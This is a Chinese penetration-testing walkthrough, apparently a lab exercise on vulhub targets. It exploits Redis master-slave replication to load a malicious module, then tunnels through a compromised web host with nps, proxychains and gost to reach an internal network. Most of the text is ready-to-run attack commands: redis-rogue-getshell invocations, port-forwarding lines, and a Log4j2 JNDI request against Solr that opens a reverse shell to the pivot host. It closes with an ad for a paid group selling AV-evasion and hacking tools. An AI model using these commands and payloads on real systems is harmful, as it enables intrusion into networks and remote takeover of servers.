漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。在redis 4.x之后,通过外部拓展可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
公网IP:xxx.xxx.xxx.xxx
web跳板机IP(内网) windwos2012 : 172.16.0.24
redis:172.16.0.35
web当跳板机,我们这里直接当成已经拿下了web服务器,所以web服务器我们直接架个nps就可以
环境:外网 -> web -> 内网(不出网)
redis 我就打算用vulhub上的redis靶场
sudo yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
yum makecache fast -y
yum install docker-ce docker-ce-cli containerd.io -y
systemctl start docker
sudo curl -L https://ghproxy.com/https://github.com/docker/compose/releases/download/1.16.1/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose
chmod +x /usr/local/bin/docker-compose
systemctl start docker
yum install git -y
git clone https://ghproxy.com/https://github.com/vulhub/vulhub.git
直接使用
https://github.com/vulhub/redis-rogue-getshell
直接打即可
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
目前情况:
目标172.16.0.35不出网 跳板机172.16.0.24出网但是没有公网ip 然后我们的工具在vps 服务器xxx.xxx.xxx.xxx上
主从复制要求我们vps开启一个端口让redis加载恶意exp.so ,但是redis不出网 也就没办法直接指定vps了
方案:
使用跳板机172.16.0.24 在上面开启端口转发
把跳板机一个端口映射到vps上
例如:
redis(172.16.0.35) -> 172.16.0.24:2222 -> xxx.xxx.xxx.xxx:2222
在web入口机上创建npc连接
这里搭建socks5代理 配合上 proxychains4 就可以直接在vps上运行socks5代理了
proxychains4 centos7上安装方法:
yum install epel-release
yum install -y proxychains-ng
vi /etc/proxychains.conf
# 将socks4 127.0.0.1 9095改为
socks5 127.0.0.1 45125
端口转发:
这里我直接用gost
https://github.com/ginuerzh/gost
gost-windows-amd64.exe -L=rtcp://:2222/xxx.xxx.xxx.xxx:2222
访问本地 http://127.0.0.1:2222 成功读取到转发请求
在vps上nc监听下2222
成功读取到了信息 理论上这样子就可以了
测试exp
proxychains4 python3 redis-master.py -r 172.16.0.35 -p 6379 -L 172.16.0.24 -P 2222 -f RedisModulesSDK/exp.so -c "id"
比如 log4j2的
一样是用vulhub的靶场
要用到1389 和 8080 还有就是反弹shell的 2222(前面有映射了 懒得改了)
gost-windows-amd64.exe -L=rtcp://:1389/xxx.xxx.xxx.xxx:1389
gost-windows-amd64.exe -L=rtcp://:8080/xxx.xxx.xxx.xxx:8080
然后就是跑exp了
vps开nc
exp使用: JNDIExploit-1.2-SNAPSHOT.jar
${jndi:ldap://172.16.0.24:1389/Basic/ReverseShell/172.16.0.24/2222}
# 后面的2222是nc的端口
GET /solr/admin/cores?action=${jndi:ldap://172.16.0.24:1389/Basic/ReverseShell/172.16.0.24/2222} HTTP/1.1
Host: your-ip:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
快速获得了shell
也显示了流量来源
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读